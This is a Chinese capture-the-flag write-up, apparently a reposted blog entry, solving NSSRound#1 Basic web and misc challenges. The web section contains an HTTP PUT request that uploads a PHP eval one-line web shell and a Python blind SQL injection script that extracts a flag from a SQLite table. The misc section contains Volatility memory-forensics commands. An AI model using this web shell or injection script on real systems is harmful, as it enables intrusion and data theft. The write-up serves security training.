当前位置:网站首页>[NSSRound#1 Basic]
[NSSRound#1 Basic]
2022-08-04 05:27:00 【Ki10Moc】
WEB
basic_check
发现允许PUT方法请求
PUT /shell.php HTTP/1.1
Host: 1.14.71.254:28848
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 24
<?php eval($_POST[1]);?>
写入一句话
rce即可
Basic]sql_by_sql
先注册,进去有个修改密码
可能是二次注入
修改密码处源码
<!-- update user set password='%s' where username='%s'; -->
重新注册一个admin--+
获得admin
身份
在/query
下查询
#!/usr/bin/python3
# -*- coding: utf-8 -*-
# @Time : 2022/8/3 21:42
# @Author : ki10Moc
# @FileName: [NSSRound#1 Basic]sql_by_sql.py
# @Software: PyCharm
# Link: ki10.top
import requests
import string
str = string.ascii_letters + string.digits
url = "http://1.14.71.254:28697/query"
s = requests.session()
headers = {
'Cookie': 'session=eyJyb2xlIjoxLCJ1c2VybmFtZSI6ImFkbWluIn0.YklOVg.Pz554uNEiaxxBCpP4pm7-G8iucg'}
if __name__ == "__main__":
name = ''
for i in range(0,100):
char = ''
for j in str:
#表+字段
#payload = "1 and substr((select sql from sqlite_master limit 1,1),{},1)='{}'".format(i, j)
#数据
payload = "1 and substr((select flag from flag limit 0,1),{},1)='{}'".format(i, j)
data = {
"id": payload}
r = s.post(url=url, data=data, headers=headers)
#print(r.text)
if "exist" in r.text:
name += j
print (j, end='')
char = j
break
if char == '%':
break
MISC
cut_into_thirds
python vol.py -f ./cut_into_thirds.raw imageinfo
得到版本号
python vol.py -f ./cut_into_thirds.raw --profile=Win7SP1x64 pslist
这有个引人注意的进程
获取dump文件
python vol.py -f ./cut_into_thirds.raw --profile=Win7SP1x64 memdump -p 1164 -D ./
foremost
分离得到part1
part1:3930653363343839PK?
直接dump目标文件
python vol.py -f ./cut_into_thirds.raw --profile=Win7SP1x64 procdump -p 1164 -D ./
并查找相关信息
strings ./executable.1164.exe
得到part2
part2:GRRGGYJNGQ4GKMBNMJRTONI=
最后查看用户信息得到part3
分别进行base16、32、64解密即可
边栏推荐
- npm init [email protected] 构建项目报错SyntaxError: Unexpected token ‘.‘解决办法
- 关于let var 和const的区别以及使用
- 进入古诗文网站个人中心,绕过登录
- npm报错Beginning October 4, 2021, all connections to the npm registry - including for package installa
- JS basics - forced type conversion (error-prone, self-use)
- 8.03 Day34---BaseMapper查询语句用法
- 7.15 Day21---MySQL----Index
- 7.18 Day23----标记语言
- (Kettle) pdi-ce-8.2 连接MySQL8.x数据库时驱动问题之终极探讨及解决方法分析
- OpenRefine中的正则表达式
猜你喜欢
ORACLE LINUX 6.5 安装重启后Kernel panic - not syncing : Fatal exception
MySQL database (basic)
程序员也应了解的Unity粒子系统
FFmpeg源码分析:avformat_open_input
The cost of automated testing is high and the effect is poor, so what is the significance of automated testing?
进入古诗文网站个人中心,绕过登录
npm报错Beginning October 4, 2021, all connections to the npm registry - including for package installa
C1认证之web基础知识及习题——我的学习笔记
嵌入式系统驱动初级【3】——字符设备驱动基础中_IO模型
解决JDBC在web工程中无法获取配置文件
随机推荐
编程Go:return、break、continue
FFmpeg源码分析:avformat_open_input
实现登录密码混合动态因子,且动态因子隐式
自己学习爬虫写的基础小函数
嵌入式系统驱动初级【3】——字符设备驱动基础中_IO模型
程序员的财富观
phpexcel导出数据为xml
bind和function
关系型数据库-MySQL:体系结构
C1认证之web基础知识及习题——我的学习笔记
对象存储-分布式文件系统-MinIO-3:MinIo Client(mc)
部署LVS-DR群集【实验】
Unity Visual Effect Graph入门与实践
MySQL日志篇,MySQL日志之binlog日志,binlog日志详解
7.13 Day20----MYSQL
OpenCV获取和设置图像的平均亮度
8.03 Day34---BaseMapper query statement usage
Several ways to heavy
TensorRTx-YOLOv5工程解读(一)
关系型数据库-MySQL:二进制日志(binlog)